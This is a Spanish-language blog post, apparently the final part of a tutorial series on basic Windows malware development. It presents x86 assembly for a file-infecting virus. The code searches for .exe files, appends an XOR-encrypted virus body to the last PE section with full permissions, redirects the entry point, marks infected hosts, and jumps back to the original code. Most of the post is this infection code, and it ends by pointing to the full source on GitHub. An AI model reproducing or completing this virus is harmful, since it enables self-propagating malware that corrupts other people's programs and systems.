Buenas
de nuevo, en esta entrada continuaremos (y cerraremos) el capítulo de
desarrollo básico de malware en Windows.
En la entrada anterior, ya teníamos guardadas las APIs que
íbamos a necesitar para nuestra infección, así que ahora nos ponemos con el
proceso de infección en sí.
Pasos para la infección:
1)Necesitamos
obtener el handler de los ficheros que hayamos indicado en la variable
"mascara" (.exe) , en este caso ejecutables
2)Haremos
uso de las APIs FindFirstFileA y FindNextFileA, para buscar los
archivos que queremos infectar, con las APIs GetWindowsDirectory(C:\WINDOWS)
y GetSystemDirectory tendremos acceso a 2 rutas distintas(“C:\WINDOWS\SYSTEM”),
con la API SetCurrentDirectory haríamos el cambio de escritorio al
escritorio donde estarán los ficheros que queramos infectar.
Durante la explicación del código añadiremos el prototipo definido por la MSDN
para que sea más fácil la visualización del código.
;HANDLE
FindFirstFileA(
; LPCSTR lpFileName, -->Nombre del
archivo a buscar (acepta asteriscos *.exe)
; LPWIN32_FIND_DATAA lpFindFileData
-->Estructura que recibe la información del archivo
;);
lea
edx, [ebp + offset win32_find_data]; Variable definida del tipo LPWIN32_FIND_DATAA,
tal y como indica la MSDN
lea
ebx, [ebp + offset mascara] ; donde le indicamos *.exe
push edx ;lpFindFileData
push ebx;lpFilename
call [ebp + offset zFindFirst] ; busca el primer archivo
Además, para que nuestro programa no caiga en bugs inesperados es importante cuando terminemos con el archivo cerrar ese handler con la función findclose()
cmp
eax, -1 ; error o
no encontró nada
je volverHost
mov
dword ptr [ebp + offset handleBusq], eax ; guardamos el handle
call infectar ;Subrutina de infección.
buscaVictima:
mov ebx, [ebp + offset
handleBusq]
push edx ; lpFindFileData estructura donde
se guarda la información del archivos
push ebx
cmp
eax, 0 ;
error en este caso el error es 0 o no encontró nada
je volverHost
call infectar
add [ebp + archivosInfec],
1
cmp [ebp + archivosInfec], maxInfecciones
Comparamos el numero de archivos infectados con Max_infecciones una variable con el que indicamos el numero de archivos que queremos infectar (3) .
jbe
buscaVictima
; buscamos el próximo archivo si es menor o igual a 3 el numero de ficheros infectados.
jmp volverHost
A partir de aquí la infección se habría hecho (falta explicar la subrutina infección) y solo quedaría saltar al funcionamiento normal del programa, en el loader mostramos un mensaje por pantalla con la API MessageBoxA, en los ejecutables que infectemos, tendremos que saltar a OEP(original entrypoint).
En
el caso de alguno de los archivos infectados queremos saltar al entrypoint
original, esto lo haremos con un push OEP + RET para saltar a esta dirección, el tamaño de cada una de las instrucciones lo nesitaremos en la rutina de infección para colocar el OEP
popfd ;1 byte
popad ; 1byte
;opcode push = 68 (1 byte)
db 68h,0,0,0,0 ; Opcode que
simula un push word [address_of_original_entry_point] ; --> Los valores que ponemos con 0 los sobreescribiremos con el valor de el OEP que se calculará en runtime
mov
edi, longVirus ; edi =
longitud del virus
add edi, [ebp + offset
win32_find_data.WFD_nFileSizeLow] ; WFD_nfileSizeLow es el tamaño del
archivo
mov [ebp + offset longVirusHost], edi ; guardamos el tamaño total (virus + host)
###########################################################################
Ahora comenzamos con el mapeo del archivo en memoria (CreateFileA) pasándole el nombre del archivo .
###########################################################################
push
0 ; hTemplateFile, normalmente si usamos el
createFile va = 0
push
0
; dwFlagsAndAttributes --> atributos del archivo: archive, normal,
sistema, etc.
push
3
; 3 = OPEN_EXISTING o sea que si existe lo abrimos
push
0
; Si es =0 ningún proceso hijo podrá hacer uso de este.
push
1
; dwShareMode --> abrir en modo compartido (1 = FILE_SHARE_READ)
push
0C0000000h
; dwDesiredAccess --> modo de
acceso (read-write) -->https://docs.microsoft.com/en-us/windows/win32/secauthz/access-mask-format
lea ebx, [ebp + offset
win32_find_data.WFD_szFileName] ; nombre
del archivo
push ebx
call [ebp + offset zCreateFile] Comprobamos si hubo algún error en la llamada a CreateFile --> devuelve -1 en caso de error.
je
salirInfeccion
mov dword ptr [ebp + offset handleCreate], eax ; guardamos el handle del archivo
###########################################################################
Ahora vamos a crear el objeto de mapeo con la función "CreateFileMappingA"
HANDLE CreateFileMappingA(
HANDLE hFile,
LPSECURITY_ATTRIBUTES lpFileMappingAttributes,
DWORD flProtect,
DWORD dwMaximumSizeHigh,
DWORD dwMaximumSizeLow,
LPCSTR lpName
); ###########################################################################
push
0
; lpName --> creamos el objeto sin nombre
push [ebp + offset
win32_find_data.WFD_nFileSizeLow] ;
tamaño del archivo
push 0
push
04h ;
4h = PAGE_READWRITE: lectura y escritura -->para ello el handle ha debido de
ser creado con los permisos de acceso GENERIC_READ and GENERIC_WRITE.
push
0
push
[ebp + offset handleCreate]
; utilizamos el handle devuelto por CreateFileA
call
[ebp + offset zCreateFileM]
;llamamos a la función CreateFileMappingA
cmp
eax, 0 ; si
hubo un error eax devuelve 0
je
cerrarArchivo ; lo cerramos y salimos
mov
[ebp + offset handleMem], eax
; sino, guardamos el handle en una variable
push 0
;dwFileOffsetLow --> 0
push 0
;dwFileOffsetHigh --> 0
push 000F001Fh ; modo de acceso (acceso
completo)
push [ebp + offset
handleMem] ; handle devuelto
por CreateFileMappingA
Comprobamos
si hubo algun error en la llamada a MapViewOfFile -->devuelve 0 en caso de
error
cmp
eax, 0 ; si
hubo un error eax devuelve 0
je
cierraMapeo
mov eax, [ebp + offset inicioHostMem]
cmp word ptr [eax], "ZM" ;Al pasar
los valores de memoria a el registro quedan invertidos.
jne desmapearArchivo
2)
Comprobación de la cabecera PE:
add eax, 03Ch ; nos
movemos 3Ch lugares del inicio MZ
mov ebx, [eax] ; obtengo
la dirección relativa donde se encontrara la cabecera PE
add ebx, [ebp + offset inicioHostMem] ; le sumo la dirección de inicio
del mapeo (dirección BASE)
cmp word ptr [ebx], "EP" ; ahora lo comparamos
con 'PE'
3)
Comprobación de que el tamaño de la cabecera opcional
mov [ebp + offset hostPE], ebx ; salvo la dirección de inicio de la
cabecera PE
add ebx, 14h
;SizeOfOptionalHeader
movzx eax, word ptr [ebx] ; obtengo el tamaño (ojo, es un
word)
;comprobamos
que el tamaño sea != 0
cmp word ptr [ebx], 0 ; si el tamaño es cero,
error
je desmapearArchivo
4)
Comprobación de que se trata de un archivo .EXE:
mov ebx, [ebp + offset hostPE]
add ebx, 16h ; nos desplazamos 16h del inicio del PE --> campo characteristics --> características: 0 - Imagen del Programa 2 - EXE 200 - Dirección fijada 2000 - Librería
mov ax, word ptr [ebx] ; obtengo en ax la bandera
(ojo, es un word)
and ax, 0002h ; debemos hacer un
and con 02h
jz desmapearArchivo
5)Comprobación de si el archivo ha sido infectado:
En esto archivos se ha añadido la cabecera "zero" en la parte 4C machacando la cabecera MSDOS que no se usa y poniendo lo que queremos.
mov
ebx, [ebp + offset hostPE]
cmp
dword ptr [ebx + 04Ch], "zero"
je desmapearArchivo ###########################################################################
Una vez que comprobamos que el archivo cumple las condiciones anteriores, incorementamos la cantidad de archivos infectados.
inc [ebp + offset archivosInfec] ; incrementa la cantidad de archivos infectados
Si
ha pasado todas estas comprobaciones entonces hacemos lo siguiente (desmapear
el ejecutable y volver a mapearlo con el tamaño de Virus+host). Hay
que tener en cuenta los alineamientos del archivo para que todo funcione
correctamente, el alineamiento de las secciones en memoria viene marcado por SectionAlignment,
el alineamiento de sección en la plataforma x86 no puede ser menor al tamaño de
una página, generalmente 4096 bytes (1000h), y debe ser un múltiplo de este
valor.
El alineamiento de archivo en disco viene marcado por FileAlignment, la dirección de los datos de cada sección en el disco deberán ser múltiplos de este valor, un valor común es 200h (512b), y se cree que es para asegurar que comienza al inicio de un sector del disco.
El tamaño real que ocupan los datos de cada sección está dado por el campo VirtualSize, por lo que, si restamos al SizeOfRawData el VirtualSize, nos dará el tamaño de un hueco llenos de cero dentro del archivo ejecutable, lo cual puede servir para aplicar la técnica : “cavity”.
Obtenemos
los campos (FileAlignment y SectionAlignment),
mov ebx, [ebp + offset hostPE] ; dirección de la cabecera PE
del host
add ebx, 03Ch ; RVA
del FileAlignment sobre la PE
mov edx, [ebx] ; edx =
alineamiento del archivo en disco
mov [ebp + offset AlineamArchivo], edx ; lo guardamos
mov ebx, [ebp + offset hostPE] ; dirección de la cabecera PE
del host
add ebx, 038h ; RVA
del SectionAlignment sobre la de PE
mov edx, [ebx] ; edx =
alineamiento del archivo en disco
mov [ebp + offset AlineamSeccion], edx ; lo guardamos
El próximo paso es desmapear el archivo que tenemos en memoria, con las APIs UnmapViewOfFile y CloseHandle:
push [ebp + offset inicioHostMem]
call [ebp + offset zUViewOfFile]
push [ebp + offset handleMem]
call [ebp + offset zCloseHandle]
Lo siguiente es hacer las correcciones de las alineaciones de memoria
mov ebx, [ebp + offset AlineamArchivo] ;ebc =tamaño de sección
mov
eax, [ebp + offset longVirusHost]
; tamaño del archivo + el virus variable que habíamos calculador
anteriormente
xor
edx, edx ; edx
= 0 para realizar la división
div
ebx
; dividimos por el alineamiento
cmp
edx, 0 ;
en edx queda el resto de la división -->eax= cociente edx=resto
je
no_incrementa ;si el resto
no es 0 hay que aumentar en 1 el tamaño del alineamiento
inc eax ; si el resto es distinto de 0 le suma 1
no_incrementa:
mov edx, [ebp + offset AlineamArchivo] ; recupero el alineamiento
mul edx ; multiplico por el alineamiento eax= edx* eax Si el resultado excediera de 32 bits se guarda en EDX la parte que excede .
mov ebx, eax ; guardamos en ebx el tamaño alineado
###########################################################################
Empezamos ahora con los ajustes en memoria, una vez que
tenemos el tamaño del fichero infectado (en disco) y alineado perfectamente, es
necesario mapear este en memoria y arreglar el alineamiento de las cabecera y
secciones que hayamos modificado.
La que vamos a realizar es muy parecido a lo comentado en la un poco antes en
esta entrada, pero ahora lo haremos con el nuevo tamaño del archivo que hemos infectado
(archivo infectado + “virus”).
push 0 ; lpName --> creamos el objeto sin nombre
push ebx ; tamaño del archivo + parte vírica
push 0
push 04h ; 4h = PAGE_READWRITE: lectura y escritura -->para ello el handle ha debido de ser creado con los permisos de acceso GENERIC_READ and GENERIC_WRITE.
push 0
push [ebp + offset handleCreate] ; utilizamos el handle devuelto por CreateFileA
call [ebp + offset zCreateFileM] ;llamamos a la función CreateFileMappingA
cmp eax, 0 ; si hubo un error eax devuelve 0
je cerrarArchivo ; lo cerramos y salimos
mov [ebp + offset handleMem], eax ; sino, guardamos el handle en una variable
El último paso es cargar los datos en memoria para ello haremos uso de la función MapViewOfFile que mapea el fichero a la dirección del proceso que la está llamando.
push 0 ;dwFileOffsetLow --> 0
push 0 ;dwFileOffsetHigh --> 0
push 000F001Fh ; modo de acceso (acceso completo)
push [ebp + offset handleMem] ; handle devuelto por CreateFileMappingA
Comprobamos si hubo algún error en la llamada a MapViewOfFile -->devuelve 0 en caso de error
cmp eax, 0 ; si hubo un error eax devuelve 0
je cierraMapeo
mov [ebp + offset inicioHostMem], eax ; salvo el inicio del archivo mapeado
########################################################################### Lo primero marcamos
los archivos .exe infectados con la cadena "zero" en la cabecera
MSDOS.
mov
ebx, [ebp + offset hostPE]
mov
dword ptr [ebx + 04Ch], "zero"
Este virus que estamos desarrollando es de tipo Post-pending por
lo que se colocará todo el contenido malicioso en la sección del final del
archivo a infectar. Por lo tanto, necesitamos identificar cual la última
sección del host (archivo a infectar), esta información se puede ver en la tabla
de secciones, se encuentra a continuación de la cabecera PE opcional y que
tiene varias entradas (consecutivas), tantas como secciones tenga el
programa.
Vamos a mencionar algunas de las consideraciones que debemos tener en cuenta:
-) Dentro de la cabecera PE tenemos también hay un campo que
indica la cantidad de secciones NumberOfSections que tiene el archivo.
-) Cada una de estas secciones definidas, tiene un optional-header
con información de la sección, y que posee un tamaño de 28h.
-) La sección que te tenga PointerToRawData más alto se tratara a la última sección, ya
que este valor apunta el inicio de la sección en disco.
Pasos a seguir para hacer la modificaciones y actualizar la
cabecera para que nuestro nuevo archivo funcione correctamente.
1) Buscamos el número de secciones
2) Buscamos el tamaño de la sección opcional(varia)
3) Miramos cual es la última sección (pointerToRawData
más alto)
4) Añadimos nuestro código maligno a continuación de los
datos de esa sección.
mov eax, [ebp + offset inicioHostMem] ; inicio del host mapeado en memoria (dirección
base en memoria)
mov esi, [eax + 3Ch] ; en 3Ch tenemos la
dirección del PE (cabecera PE)
add esi, eax ; le sumamos
la base ya que es una RVA
movzx ebx, word ptr [esi + 14h] ; bx = tamaño del Optional Header
movzx ecx, word ptr [esi + 6h] ; ecx = PE + 6h (cantidad de
secciones)
mov edx, [esi + 28h] ; PE + 28 = dirección del
entry point original
mov [ebp + entryPoinOrig], edx ; edx =Entry poiny lo guardamos en la
variable para luego usarlo, cuando lo acabemos de ejecutar nuestro “virus” saltar
al comportamiento normal.
add esi, ebx ; Sumamos en memoria
el tamaño del optional Header. le sumamos el tamaño de la PE opcional (RVA PE
HEADER + BASE ADDRESS + OPTIONAL HEADER)
add esi, 18h ; le sumo 18h (el tamaño del PE Header) que
es el tamaño desde la cabecera PE al comienzo de la cabecera del optional
header.
En este punto tenemos en ESI el tamaño de donde empieza
nuestra primera cabecera.
sub esi, 28h ; 28h bytes
(tamaño de cada sección)
xor eax, eax ; eax lo uso
para almacenar el mayor valor
xor ebx, ebx ; ebx va a
apuntar al inicio de la sección mayor
proximaSeccion:
add esi, 28h ; esi =
puntero a cada entrada de la tabla
movzx edi, word
ptr [esi + 14h] ; es
el offset 14h tengo el PointerToRawData dentro de cada una de las
secciones
cmp edi, eax ; es mayor
que el almacenado en eax ( ultima seccion actual)
jl noEsMayor
mov eax, edi ; si es mayor,
guardo el valor el valor en eax
mov ebx, esi ; y el puntero
a la sección
noEsMayor:
loop proximaSeccion ; decrementa ecx y si es
mayor que cero vuelve
Al final de esta rutina eax= offset del archivo donde apunta
la sección que se encuentra al final del archivo y en ebx= posición de memoria donde comienza
esa sección.
Como vamos a añadirle código a esta sección e inicialmente no
sabemos si la sección tiene permisos de ejecución (+x) o no, cambiaremos el campo
characteristics del malware para darle permisos a esta sección de
lectura, escritura y ejecución.
Vamos a explicar el valor que ponemos en el campo characteristics y la explicación del mismo
00000020 Contiene código ejecutable + 20000000 Se puede ejecutar 40000000 Se puede leer 80000000 Se puede escribir en la sección
;-------------------------------
E0000020 à con ese valor damos todos los permisos a esa sección
or
dword ptr [esi + 24h], 0E0000020h
Ya tenemos mapeada en memoria la sección donde vamos a añadir
el “virus” con todos los permisos necesarios para su funcionamiento.
Seguidamente, vamos a sustituir el valor del entrypoint del archivo para que
apunte a nuestro virus.
Ya que tenemos el archivo mapeado en memoria será importante
los siguientes valores:
RelativeVirtualAddress( de la seccion) : RVA de la sección con respecto a la base del
host (ubicado en el inicio de la sección + 0Ch)
SizeOfRawData: tamaño de la sección alineada (ubicado
en el inicio de la sección + 10h)
mov esi,
ebx ;En ebx tenemos el inicio de la sección
mov edx, [esi + 10h]; Obtenemos el RVA
add edx, [esi + 0Ch];Le sumamos el tamaño de la sección alineada
En edx tendremos ahora la dirección donde cargaremos nuestro código malicioso que a su vez será el nuevo entrypoint del archivo infectado, ya que queremos ejecutar primero el contenido malicioso y luego restaurar el comportamiento malicioso del archivo. Ahora tenemos que modificar la cabecera, para actualizar el valor del nuevo entrypoint. ahora apuntara a nuestro virus y cuando terminemos debemos de saltar a la direccion del programa que guardamos en la variable OEP
mov eax, [ebp + offset inicioHostMem] ; eax = inicio del host mapeado en memoria.
mov edi, [eax + 3Ch] ; edi = dirección
del PE header del host
add edi, eax ; le
sumo la base ya que es una RVA
mov [edi + 28h], edx ; cambio el valor
del EP por el que teníamos en edx.
Ahora comenzamos con las modificaciones en disco, en este caso los valores que debemos considerar serán :
;PointerToRawData = offset (desplazamiento) de la
sección en disco (lo encontramos en inicio sección + 14h)
;SizeOfRawData = tamaño de la sección en disco
alineada (lo encontramos en inicio sección + 10h)
mov ebx, [esi + 10h] ; en esi tengo el inicio de la sección en memoria calculamos --> ebx=tamaño de la sección en disco (SizeOfRawData) .
add ebx, [esi + 14h] ; le sumo el valor de
PointerToRawData, --> desplazamiento
de la sección en disco
add ebx, [ebp + offset inicioHostMem] ; le sumo la base ya que es una RVA
mov [ebp + offset UltimaSeccPE], ebx ; lo guardamos en una variable
Al llegar a este
punto, en ebx y UltimaSeccPE tenemos donde acaba la última sección
pero en
disco, ahora hay que modificar los valores de la sección y tener cuidado
con el alineamiento.
Debemos de modificar los siguientes parámetros en el archivo infectado:
VirtualSize:
solamente debemos sumarle el tamaño del virus (se encuentra en el inicio de la
sección + 08h) este indica el tamaño real si es mayor menor que el alineamiento
expandimos hasta el un múltiplo de este
SizeOfRawData:
tenemos que sumarle el tamaño del virus pero teniendo en cuenta el FileAlignment
(se encuentra en el inicio de la sección + 10h), el valor de SizeOfRawData debe de ser múltiplo de
fileAlignment is es mejor que el VirtualSize(tamaño Real exacto).
OJO
Es necesario guardar el valor de SizeOfRawData
anterior, ya que luego lo vamos a
utilizar para acomodar el valor de SizeOfImage.
mov eax, longVirus ; Pasamos la longitud del virus y la
almacenamos en eax.
add [esi + 08h], eax ; en esi tengo el inicio de la sección en memoria y en sección + 08h la VirtualSize (ya incrementada) y le sumamos el tamaño de nuestro virus
mov ebx, [esi + 10h] ; SizeOfRawData antes de
modificarla
mov [ebp + offset SizeOfRDAnt], ebx ; la guardamos en la variable SizeOfRDAnt
mov eax, longVirus ; tamaño del virus
add eax, ebx ; le sumo la SizeOfRawData actual y así obtengo el valor a redondear
mov ebx, [ebp + offset AlineamArchivo] ; edx=alineam. de las secciones en
disco
xor edx, edx ; ponemos edx en cero
para realizar la división
div ebx ; dividimos eax/ebx y el cociente en eax por el alineamiento
cmp edx, 0 ; en edx queda el
resto de la división
je no_incrementaSecc
inc eax ; si el resto es
distinto de cero le suma uno, que será el tamaño que pongamos en SizeofRawData.
no_incrementaSecc:
mov edx, [ebp + offset AlineamArchivo] ; edx=alineam. de las secciones en
disco
mul edx ; multiplico por el alineamiento y obtengo así el tamaño alineado en eax = eax * edx
mov [ebp + offset SizeOfRDNuevo], eax ; guardo el nuevo valor de eax en sizeofRawData (alineado)
mov [esi + 10h], eax ; cambio el valor del SizeOfRawData del host por el nuevo valor obtenido.
Por último, y como hemos dicho más arriba, vamos a tener que
corregir el valor de SizeOfImage, el cual contiene el tamaño total del
archivo alineado y representa la memoria que necesita reservar Windows cuando
el programa es cargado por el loader de Windows.
El nuevo valor de SizeOfImage se puede obtener si al VirtualOffset
de la última sección le sumamos el nuevo VirtualSize (original + tamaño
del virus) y luego lo alineamos. El virtualOffset
se encuentra en sección + 0Ch y el VirtualSize está en sección +
08h
mov
eax, [esi + 08h] ;
eax = VirtualSize
add eax, [esi + 0Ch] ; eax = VirtualSize + VirtualOffset
mov ebx, [ebp + offset AlineamSeccion] ; edx = alineamiento de las secciones en disco
xor edx, edx ; ponemos edx en
cero para realizar la división
div ebx ; dividimos por el alineamiento
cmp edx, 0 ; en edx queda
el resto de la división
je no_incrementaSizeOfI
inc eax ; si el resto es distinto de cero le suma uno al valor obtenido
no_incrementaSizeOfI:
mov edx, [ebp + offset AlineamSeccion] ; edx = alineamiento de las secciones en disco
mul edx ; multiplico por el alineamiento y obtengo así el tamaño alineado en eax = eax * edx.
mov esi, [ebp + offset inicioHostMem] ; apuntamos al inicio del host mapeado en memoria
mov edi, [esi + 3Ch] ; edi = dirección del PE header
del host
add edi, esi ; le sumo la base ya que es una RVA
mov [edi + 50h], eax ; guardo la nueva SizeOfImage
obtenida
Bien ya tenemos todo listo, ahora vamos a copiar nuestro virus en el espacio creado al final del host original, para ello vamos a hacer uso de estas 2 instrucciones: rep y movsb.
REP: esta instrucción va acompañada de otra y lo que hace es repetir dicho comando tantas veces como lo indique el registro ECX.
MOVSB: esta instrucción se utiliza de la siguiente
forma: MOVSB destino,origen , y nos permite copiar un byte
(por eso la B final, también podría ser W para word) desde un origen a
un destino
El origen se lo indicamos con los registros DS:SI (Source
Index o índice fuente) y el destino con ES:DI (Destination Index o índice
destino).´
Además, después de realizar el movimiento de datos, SI y DI
son incrementados para que apunten a la próxima dirección de memoria.
1. ES:[DI] <- DS:[SI] (un byte)
2. DI <- DI+1
3. SI <- SI+1
Registros usados en nuestro programa
• en esi = origen de
la copia
• en edi = destino de
la copia
• en ecx = tamaño del virus
Como queremos que el código que copiemos en el archivo infectado esté infectado, necesitamos crear la rutina de cifrado.Para ello lo primero que haremos será llamar a la subrutina que genera la clave
; Generamos la semilla( 1 caso) y la clave a partir de
esta.
call generaclave
mov byte ptr [ebp + offset clave], al ; Almacenamos la clave en la variable que clave.
para usarla ahora para cifrar.
lea esi, [ebp + offset iniciovir] ;dirección de nuestro virus
mov edi, [ebp + offset UltimaSeccPE] ;
Justo donde empezamos a escribir
mov ecx, longVirus ; Longitud del virus
mov ebx, 0 ; puntero para direccionar la memoria en la copia
encriptacion:
mov al, byte ptr [esi + ebx] ;dirección de nuestro virus en memoria
cmp ebx, tamSinEncrip ;
esta, es la constante que tiene el la diferencia entre el principio y la parte
no encriptada, que es la que se
encarga de decrifrar el código
jb noEncriptar
xor al, byte ptr [ebp + offset clave;Le hacemos un XOR con 0CCh
noEncriptar:
mov [edi + ebx], al ;Pasamos el byte a la dirección de
la sección
inc ebx ; Incrementamos ebx
loop encriptacion ;salta a la etiqueta encriptación y decrementa ecx (hasta que valga 0)
;############################################################
Vamos a explicar ahora la subrutina de generaclave , y su procedimiento para generar la clave aleatoria con la que vamos a ir cifrando con XOR el código del malware.
generaclave proc
mov eax, [ebp + semilla] ; Comprobamos el valor de la semilla si el
valor es = 0 , flag Z = 1 llamamos a la función
getTickCount
test eax, eax
jnz semillaOK
call [ebp + offset zGetTickCount] ;La función GetTickCount lo
habremos obtenido de la rutina donde sacamos el valor de todas las APIs
and eax, 0FFh ;El resultado del valor
del getTickcount nos quedamos con el ultimo Byte como valor random.
mov [ebp +
semilla], eax ; Guardamos el valor en la semilla
semillaOK: ;; Hacemos el proceso de regresión
Lineal.
mov eax, [ebp +
semilla] ; Cogemos la semilla la multiplicamos por 5,
le sumamos 3 y la dividimos por 20 y nos quedamos con el resto.
mov edx, 05h
mul edx
add eax, 03h
mov ebx, 020h
xor
edx, edx
div ebx
mov eax, edx ; toma el resto de
la división
mov [ebp +
semilla], eax ; guarda la
semilla para la próxima ejecución.
ret
generaclave endp
Ahora solo queda, sólo nos queda ver cómo le devolvemos la
ejecución al host original luego de producida la infección y el ajuste de
algunos valores que ayudarán al correcto funcionamiento del virus.
Una vez que terminamos todo, tenemos que preparar el código para devolverle el control al host original y se ejecute normalmente.
mov ebx, [ebp + offset hostPE] ; ebx = offset de la cabecera PE
del host
mov ebx, [ebx + 034h] ; ebx = ImageBase del
host
mov eax, [ebp + offset entryPoinOrig] ; recuperamos el entry point original que
habíamos guardado
add eax, ebx ; le sumamos la base ya que es una RVA
mov edi, [ebp + offset UltimaSeccPE]
lea ecx, [offset volverHost + 12] ; estos 12 son los bytes de POPAD … hasta llegar a la instrucción donde tenemos el 68h ( opcode del push)
sub ecx, offset iniciovir ;Le cogemos el inicio del
virus y se lo restamos para conocer directamente el desplazamiento
add edi, ecx ;En edi tenemos
el valor en memoria de la primera dirección de memoria de nuestra última sección
mov dword ptr [edi], eax ; Cargamos la dirección del
entrypoint original en esa instrucción.
Desciframos la dirección de salto:
movzx ebx, byte ptr [ebp + offset clave]
xor
byte ptr [edi+0], bl
xor
byte ptr [edi+1], bl
xor byte ptr [edi+2], bl
xor byte ptr [edi+3], bl
Una vez que ya hayamos terminado con la rutina de infección
tenemos que hacer lo siguiente:
Desmapear el archivo que tenemos mapeado en memoria
desmapearArchivo:
push [ebp + offset inicioHostMem] call [ebp + offset zUViewOfFile]
cierraMapeo: push [ebp + offset handleMem] ; handle devuelto por CreateFileMappingA
call [ebp + offset zCloseHandle] ;Llamamos a closeHandle para cerrar el archivo que conseguimos abrir con CreateFileMappingA
cerrarArchivo: push [ebp + offset handleCreate] call [ebp + offset zCloseHandle] ;Llamamos a closeHandle para cerrar el archivo que conseguimos abrir con CreateFileA
salirInfeccion:
ret
infectar endp
Con esto acabamos la entrada básica de desarrollo de malware,
si queréis descargaros el código completo(sin cifrado), lo podéis hacer a través de mi github.
Un saludo,
Krilin4
Comentarios
Publicar un comentario